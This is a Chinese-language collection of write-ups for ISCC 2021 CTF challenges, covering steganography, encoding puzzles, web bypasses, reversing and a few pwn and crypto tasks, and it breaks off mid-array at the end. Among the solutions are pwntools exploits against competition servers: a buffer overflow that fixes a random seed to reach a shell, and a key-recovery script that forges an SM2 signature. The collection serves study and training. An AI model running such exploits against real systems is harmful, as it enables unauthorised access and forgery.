声明:本解题合集并非完全原创,有些解题技巧和思路借鉴和搬运了其他博主或大佬的东西,初衷在于总结做题经验,整理ISCC2021的解题WP,当作笔记学习使用,如有原作者或师傅认为有不妥和错误之处,欢迎评论私信,我会尽快处理。
题目:大年初一,李华给爸爸拜年,从事计算机行业的父亲发给李华一张图片和一张银行卡。父亲告诉李华密码就藏在图片中,但是李华打开图片后却百思不得其解。你能帮助李华拿到密码吗?
我想说,有个计算机行业的父亲真好~
50分送分题,绝对不会套来套去,上图片:
看到图片下有个头露出,果断改图片大小,改完图片如下:
没弄明白,于是winhex再接着看图片信息,看到有其他类型文件隐藏(别问我怎么看的,因为我根本没看),直接拖到虚拟机里binwalk+foremost分离,出来一个txt文件,内容如下:
24,43,13,13,12,21,43
这一看,数字两位一组,而且不过5,妥妥的棋盘密码,直接解密,得flag:ISCC{ISCCBFS} ,上网一查,棋盘又叫敲击密码,孤陋寡闻了,知道那个是干啥的了。
Scatter说他能解开这个古怪的密码,你呢?来试试吧!
Flag格式:ISCC{XXX},XXX为小写字符串,不包括空格
解压得到压缩包和txt文档,内容为
1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.25:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1;10:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;10:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.75:2.25:1
scatter是散点的意思嘛,明显是画散点图,我拿Matlab画的,得到一个图(这张图也找不到了,代码不想贴)
得到图之后,仔细瞅瞅,这里有个坑,需要把图倒一下,得到365728,这明显是压缩包解密密码,解密后得到:
忽略我的迅雷小图标),下面一串明显是摩斯密码,在线解密得congratulationtheflagischallengeiscctwozerotwoone
那flag就是ISCC{congratulationtheflagischallengeiscctwozerotwoone}
早就知晓iscc的套路,故意分两行迷惑你~
(:补充:
有其他大佬脚本粘贴过来直接得密码图:
import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
fig = plt.figure()
ax = fig.gca(projection="3d")
xs, ys ,zs= np.loadtxt('xyz.txt', delimiter=':', unpack=True)
ax.scatter(xs, ys, zs, zdir="z", c="#FF5511", marker="o", s=40)
ax.set(xlabel="X", ylabel="Y", zlabel="Z")
plt.show()
源自实战题的一道题(来源于硅谷工程师),不难但没做出来,希望大佬提供思路。
下载过后是一个docx文件,打开是一堆乱码:
但看到了PK,猜测应该是个zip文件,用winhex打开,看到504B0304,果然是个zip压缩文件头,而且包含了很多网页文件
可以直接改后缀为zip,或者拖到虚拟机里binwalk,出来一个文件夹:
我是一个一个找的,在word的document.xml中发现了flag:
解压压缩包得到一张图片:
是我的童年没有错了,不管三七二十一先放到虚拟机里binwalk+foremost
得到一个压缩包,拿winhex一看,果然没骗我,这次果然是真的海市蜃楼,是真加蜜,找密码吧。
那必定是回到海市蜃楼-1去找,一开始以为1的flag就是密码,结果发现不是,出题人精明了很多,继续找1中的文件,发现一个true.xml有点问题,是个图片格式:
那就改后缀,得到一张图片。啊,是钟爷爷,对钟爷爷的图片一番研究,没发现啥东西,突然想到海市蜃楼-1的flag:ISCC{zheshishui}
顿时明白了,密码就是zhongnanshan
解密后,得到二维码,一扫出现Base64编码:
ZWFzeQ==
解密得到easy,应该又是个文件密码,winhex分析二维码,发现是png文件头,而文件后缀是jpg,必定是有问题,那就接着分离(别骂了,我不会别的),出来一个txt,解密得到flag
这给我套的,不过比起擂台那几个套题,这个真的很人性化了。
解压压缩包得到三个文件如下
按顺序来,先看give.exe,打开闪退,不过可以看到里面的内容为
pass1{\u006b\u0072\u0077}
明显是Unicode编码,解码后为pass1{krw},
接着看me.zip发现需要输密码,应该是要用到前面的密码,但输入不对,应该是还有坑,拿winhex分析zip压缩包,在末尾发现一串Base64码,在线解密得到pass2{gcc666},将pass1和pass2合起来
krwgcc666,解密压缩包得到txt文件
打开又得到一串Base64:
再次解密得到youfoundme?
这肯定不是flag,还有一个音频文件没看
利用MP3stego解密,密码就是youfoundme?
工具使用参考链接:MP3Stego
得到ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
这次是Base32(没有小写字母),解密得到
ISCC{Yourdiscount2.15}
Base解密库国内推荐BUGKU的自带在线工具:bugku在线工具
题目描述:美人说的话里有解题提示,但是美人的话不能全信。
解压得美人图一张和二维码一个
用十六进制编辑器打开美人图片:
这就是美人说的话有真有假,扫二维码得到
U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=
AES连续三次解密,然后就掉坑里了:
y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!
果然美人怎么可能轻易让你得到
winhex分析包含二维码的docx文档,发现还有图片隐藏,拖到虚拟机里一顿操作,又出来一张二维码:
扫码又得到一串:
U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE
再次AES发现不对,看来美人又开始用计了,用DES就可了,密钥仍然是ISCC2021。
出题人应该被伤过,深谙美人套路哈哈~
智能合约的题目,我当时还以为要编合约交互,是我想多了。
直接去合约网站查询合约地址查看信息:
网站地址(貌似需要魔法操作)
在搜索框输入合约地址0x0ed72dfd4c63dd97df8fec07e5a6bba466c6adf5
然后点击这个地方
这里点击"UTF-8"
flag出现:
同样操作,打开上述网站,搜索这个合约地址:
0x68D28fE315E6A344029D42915Fbc7af4261AB833
一张图片,010查看后没发现什么,拿到kali中binwalk分离一下,得到一堆1,0组成的文件,长度为841,很容易联想到29*29是个二维码
二进制转二维码1对应黑,0对应白
from PIL import Image
MAX = 29
img = Image.new("RGB",(MAX, MAX))
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
img.putpixel([x,y],(0, 0, 0))
else:
img.putpixel([x,y],(255,255,255))
i = i+1
img.show()
img.save("flag.png")
ISCC{Png_Chunk_streams_ISCC}
下载附件发现是一个名为rabbit的图片,一个胖兔子说着我需要碰撞
用binwalk分离图片得到flag.txt和key.zip
flag.txt中内容为
U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==
显然需要密钥解密
打开key.zip发现其中的key.txt只有5字节大小结合那个兔子说的它需要碰撞应该是crc32碰撞
利用解密脚本得到密码:
import binascii
import string
def crack_crc():
print('-------------Start Crack CRC-------------')
crc_list = [0x3dacac6b]#文件的CRC32值列表,注意顺序
comment = ''
chars = string.printable
for crc_value in crc_list:
for char1 in chars:
for char2 in chars:
for char3 in chars:
for char4 in chars:
for char5 in chars:
res_char = char1 + char2 + char3 + char4 + char5#获取遍历的任意4Byte字符
char_crc = binascii.crc32(res_char.encode())#获取遍历字符的CRC32值
calc_crc = char_crc & 0xffffffff#将遍历的字符的CRC32值与0xffffffff进行与运算
if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配
print('[+] {}: {}'.format(hex(crc_value),res_char))
comment += res_char
print('-----------CRC Crack Completed-----------')
print('Result: {}'.format(comment))
if __name__ == '__main__':
crack_crc()
得到密钥:(0_0)
在线解密得到:
ISCC{u_really_know_rabbits}
附件下载下来是个压缩包,并且需要解压密码。
题目中给了提示凯撒密码“AVARGRRA AVARGL AVAR”是其出生年份,且说密码应该为出生日月年。
在线凯撒解密:
得到出生年份是1999,接下来拿azpr爆破月日
得到密码07071999(我其实是直接爆破的8位,反正早爆晚爆都是爆)
解压后得到一张图片,无法打开,winhex分析,jpg文件缺头补头FFD8FF
再次打开图片:
贴大佬思路:
密码学题目,我不擅长这方面,果断搜下关键处代码,果然搜到了原题
该题目是2020ByteCTF决赛的题目threshold
搜到的一个WP链接:
需要改下脚本,把server.py和写的脚本放到同一路径下
from pwn import *
from Crypto.Util.number import *
from gmssl import func, sm2
import server
r = remote("129.211.59.129", 20001)
# context.log_level = 'debug'
pk = int(r.recvline().split(b":")[1].decode(), 16)
pks = int(r.recvline().split(b":")[1].decode(), 16)
log.info(f"pk: {pk}")
log.info(f"pks: {pks}")
backdoor = b'0'*128 + b'1'
r.sendlineafter(b"op: ", b"sign")
r.sendlineafter(b"backdoor:", backdoor)
sks = int(r.recvline(), 16)
n = 115792089210356248756420345214020892766061623724957744567843809356293439045923
# pks = (sk + 1) * sks ^ -1
sk = inverse(pks * sks, n) - 1
log.info(f"sk: {sk}")
data = b'Hello, Welcome to ISCC2021!'
e = int(data.hex(), 16)
k = 2
tsm2 = server.TSM2('0xdeadbeaf')
P1_P2 = tsm2._kg(k, server.G)
R = int(P1_P2[:64], 16) + e
s = inverse(1+sk, n) * (k - R*sk) % n
r.sendlineafter(b"op: ", b"verify")
r.sendlineafter(b"msg:", data)
r.sendlineafter(b"sign:", hex(R)[2:].zfill(64) + hex(s)[2:].zfill(64))
r.interactive()
等待大佬~~
等待大佬~~
等待大佬~~
当时没写wp,这部分就复现其他师傅们的了
又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己???
请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020
方法一:使用连点器
设置每秒点击100次,得到flag
方法二:修改按钮ID
F12将两个按钮的id交换
方法三:
js调用click函数,控制台输入
setInterval(function(){document.getElementById("left_button").click();},1);
方法四:刷票
local_left_votes=999999
这是什么东西呢?
题目入口:http://39.96.91.106:7030
查看源代码发现如图所示代码,jsfuck编码:
打开便提示Why don’t you take a look at robots.txt?
那就访问robots.txt看看呗,发现Disallow: /src/code/code.txt
所以就访问http://39.96.91.106:7040/code/code.txt
发现几个判断条件,满足条件便会输出flag
if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
参数长度小于8但数值还要大于9999999,直接用科学计数法如1e9绕过即可
if (strpos ($_GET['password'], '*-*') !== FALSE)
要求参数里要含有*-*
我懒了,接着搬师傅们的~
下载附件后是一个.pyc的文件,很明显这是python的编译文件,拿到在线反编译的网站上进行反编译即可得到源码。
import platform
import sys
import marshal
import types
def check(s):
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
if len(s) != len(f):
return False
checksum = None
for a, b in zip(f, s):
checksum += ord(b) ^ ord(a) ^ 123
return checksum == 0
if sys.version_info.major != 2 or sys.version_info.minor != 7:
sys.exit('\xe8\xaf\x95\xe8\xaf\x95 Python 2.7.') #试试python 2.7
if len(sys.argv) != 2:
sys.exit('usage: bronze.pyc ' )
flag = sys.argv[1]
if len(flag) >= 32:
print ('too long.') #太长了
sys.exit(1)
alphabet = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+')
for ch in flag:
if ch not in alphabet:
print ('\xe4\xb8\x8d\xe5\xaf\xb9.' ) #不对
sys.exit(1)
continue
if check(flag):
print ('\xe5\xb0\xb1\xe6\x98\xaf\xe8\xbf\x99\xe4\xb8\xaa!') #就是这个
sys.exit(0)
else:
print ('\xe6\x90\x9e\xe9\x94\x99\xe4\xba\x86.') #搞错了
sys.exit(1)
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
flag = ''
for i in f:
flag += chr(ord(i)^123)
print(flag)
题干提示分析就完事了,事实也的确如此,直接IDA打开就是分析
通过字符串找到关键点
进入mix查看
int __cdecl mix(char *a1, char *a2, int a3)
{
char v3; // ST14_1
char v4; // dl
int result; // eax
int n; // [esp+18h] [ebp-20h]
int m; // [esp+1Ch] [ebp-1Ch]
int l; // [esp+20h] [ebp-18h]
size_t k; // [esp+24h] [ebp-14h]
int j; // [esp+28h] [ebp-10h]
int i; // [esp+2Ch] [ebp-Ch]
for ( i = 0; i < a3; ++i ) // 先全部减去64,因为‘A’的ASCII码为65,这里可以理解为获取在字母表中位置
a1[i] -= 64;
for ( j = 0; j < a3; ++j ) // 当前值=当前值与下一值得差
a1[j] -= a1[j + 1];
for ( k = 0; k < strlen(a2); ++k ) // k < 7
a2[k] %= 64; // 取余
for ( l = 0; l < a3; ++l )
a1[l] += a2[l % 7]; // 将a2作为密匙循环自加
for ( m = 0; a3 / 2 > m; ++m )
{ // 中间对称互换
v3 = a1[m];
a1[m] = a1[a3 - m - 1];
a1[a3 - m - 1] = v3;
}
for ( n = 0; ; ++n )
{
result = n;
if ( n >= a3 )
break;
if ( a2[n % 7] & 1 ) // 利用a2作为判断依据
v4 = a1[n] + 2;
else
v4 = a1[n] + 1;
a1[n] = v4;
}
return result;
}
所以有明文,有算法,还不会逆吗
cpt = [67,-33,20,3,13,44,9,1,23,23,8,-4,43,-6,20,23,-7,37,-11,34,61,-50,24,22,10]
mix = [82,69,86,69,82,83,69]
for k in range(len(mix)):
mix[k] %= 64
#加密用的密匙都是取余后的,所以先取余操作
for n in range(len(cpt)):
if mix[n%7] & 1:
cpt[n] -= 2
else:
cpt[n] -= 1
#先逆加一和加二
for m in range(len(cpt)//2):
x = cpt[m]
cpt[m] = cpt[len(cpt)-1-m]
cpt[len(cpt)-1-m] = x
#对称互换
for l in range(len(cpt)):
cpt[l] -= mix[l%7]
#逆自加,既自减
for j in range(len(cpt)-2,-1,-1):
cpt[j] += cpt[j+1]
#这一步需要从后往前,因为最后一个字符是不变的
for i in range(len(cpt)):
cpt[i] += 64
#加回64
print(cpt)
#列表形式输出(ASCII码形式)
for i in range(len(cpt)):
cpt[i] = chr(cpt[i])
#转为字符
flag = ''.join(cpt)#串成串
print(flag)
#输出
'''
[73, 83, 67, 67, 123, 82, 69, 86, 69, 82, 83, 69, 95, 73, 83, 95, 78, 79, 84, 95, 72, 65, 82, 68, 125]
ISCC{REVERSE_IS_NOT_HARD}
'''
写给萌新:讲一下这里取上面的cpt串和mix串的依据,在IDA里面,字符串的形式有两种,
1.明显的字符串存储形式;
2.单独的字符,但是以连续的地址以及连续的名称存储
无壳,直接用IDA打开,就能看到main函数和加密函数
依次分析加密函数——mix
我们一起玩个游戏吧
题目入口:http://39.96.88.40:7040
这道题和攻防世界里的两道题很相似,但是绕了两次,利用的是srand和rand函数的配合使用去产生随机数,通过read函数去读取数据,覆盖地址让随机数不再随机,从而进行一一输入匹配拿到shell.
直接贴exploit了:
from pwn import *
from ctypes import *
import time
#context.log_level='debug'
r =remote("39.96.88.40","7040")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a"*0x24+p64(1).decode()
r.recvuntil("Your name is :")
r.sendline(payload)
libc.srand(1)
for i in range(10):
num = libc.rand()
libc.srand(num)
num1=str(libc.rand()%0x64+1)
r.sendline(num1)
r.interactive()
libnc.so里是主要java层逻辑。
check1在libLibs.so中。
经过hook测试,check1: 6个小写字母
而且必须满足一些条件:
在这里插入代码import hashlib
import string
s = string.ascii_lowercase
d = 0
for i1 in s:
for i2 in s:
for i3 in s:
for i4 in s:
for i5 in s:
for i6 in s:
ss = i1+i2+i3+i4+i5+i6
a = hashlib.md5()
a.update(ss.encode(encoding='utf-8'))
aa = a.hexdigest()
b = 0
c = 0
d = 0
for i in aa:
if i == "0":
c += 1
d += b
b += 1
if d + c * 10 == 403:
print(d + c*10)
print(ss, aa)
# 403
# ozulmt 0ec448d42dbf0000c020c0000048010e
最后根据生成的数字作为索引,打乱md5加密的值。
sss = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
a = [6,10,11,4,5,7,13,7,2,2,3,5,8,3,11,10,10,4,6,13,8,11,2,12,11,1,12,3,12,4,0,6]
for i in a:
print(sss[i],end="")
flag:
ISCC{6ab457d7223583baa46d8b2cb1c3c406}
小K把他的密码加密起来保存了,但是他却不知道该怎么解密了,来帮小明解密出来他的密码吧!
这道题明显不是我独立能做出来的,下面展示一位大佬的思路:
这是一道 apk 逆向,核心函数位于 SO 库中并且在 JNI_OnLoad 中动态绑定函数。
反调试
JNI_OnLoad 中有 ptrace 反调试,patch 掉即可
签名验证
这道题的密钥由 apk 签名数据决定,因此要获取原始密钥,必须保证 apk 没有更改。但是为了反反调试,必须 patch so 文件。
这里可以采取直接将修改的 so 文件 push 到 apk 安装后的目录中,这样并不会改变 apk 本身的签名。
核心算法是 AES 变种 + CBC 模式
要解密如下字符串:
j9lXGz/eWs4iODrHgTbQZdtXl1RjO82FQhSADajx1vRNnw2NIASP/2mySb2Dqmgh
AES 变种
1.修改了 行移位为 列移位
输入数据
df db 5d b9
41 9b b8 44
f6 74 74 74
74 74 74 95
shift 本题计算结果:
DF 74 74 44
41 DB 74 74
F6 9B 5D 95
74 74 B8 B9
shift 标准计算结果:
df db 5d b9
9b b8 44 41
74 74 f6 74
95 74 74 74
2.修改了列混合的行为
该题列混淆时,先将矩阵转置,再列混淆,最后再转置
3.修改了 子密钥计算过程
具体怎么计算的没有细看,直接复制它计算好的数据即可, 但是要保证是没有被检测到反调试的数据
int subkeys[11][16] = {
0x31, 0x62, 0x35, 0x63, 0x32, 0x31, 0x38, 0x61, 0x36, 0x38, 0x35, 0x39, 0x66, 0x63, 0x66, 0x32,
0x03, 0x99, 0x06, 0x98, 0x31, 0xA8, 0x3E, 0xF9, 0x07, 0x90, 0x0B, 0xC0, 0x61, 0xF3, 0x6D, 0xF2,
0xEE, 0x94, 0x3A, 0x95, 0xDF, 0x3C, 0x04, 0x6C, 0xD8, 0xAC, 0x0F, 0xAC, 0xB9, 0x5F, 0x62, 0x5E,
0xBC, 0x5B, 0x90, 0x5A, 0x63, 0x67, 0x94, 0x36, 0xBB, 0xCB, 0x9B, 0x9A, 0x02, 0x94, 0xF9, 0xC4,
0xC3, 0x79, 0x09, 0x78, 0xA0, 0x1E, 0x9D, 0x4E, 0x1B, 0xD5, 0x06, 0xD4, 0x19, 0x41, 0xFF, 0x10,
0x07, 0xFA, 0x1F, 0xFB, 0xA7, 0xE4, 0x82, 0xB5, 0xBC, 0x31, 0x84, 0x61, 0xA5, 0x70, 0x7B, 0x71,
0x21, 0xAB, 0x3E, 0xAA, 0x86, 0x4F, 0xBC, 0x1F, 0x3A, 0x7E, 0x38, 0x7E, 0x9F, 0x0E, 0x43, 0x0F,
0xBA, 0x00, 0x24, 0x01, 0x3C, 0x4F, 0x98, 0x1E, 0x06, 0x31, 0xA0, 0x60, 0x99, 0x3F, 0xE3, 0x6F,
0xD4, 0x75, 0x35, 0x74, 0xE8, 0x3A, 0xAD, 0x6A, 0xEE, 0x0B, 0x0D, 0x0A, 0x77, 0x34, 0xEE, 0x65,
0x3A, 0x6D, 0x1D, 0x6C, 0xD2, 0x57, 0xB0, 0x06, 0x3C, 0x5C, 0xBD, 0x0C, 0x4B, 0x68, 0x53, 0x69,
0xBF, 0x28, 0xF0, 0x29, 0x6D, 0x7F, 0x40, 0x2F, 0x51, 0x23, 0xFD, 0x23, 0x1A, 0x4B, 0xAE, 0x4A
};
正向加密流程如下(注意用的是 myshift,还有 myTranspose )
myAddRoundKey(pArray, subkeys, 0);
printArray(pArray);
for(int i = 1; i < 10; i++){
subBytes(pArray);//字节代换
myshift(pArray);//行移位
myTranspose(pArray);
mixColumns(pArray);//列混合
myTranspose(pArray);
myAddRoundKey(pArray, subkeys, i);
}
subBytes(pArray);
myshift(pArray);
myAddRoundKey(pArray, subkeys, 10);
完整解密脚本
#include <stdio.h>
#include <string.h>
#include <cctype>
#include <stdlib.h>
/**
* S盒
*/
static const int S[16][16] = { 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };
/**
* 逆S盒
*/
static const int S2[16][16] = { 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
static const int S3[] = { 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
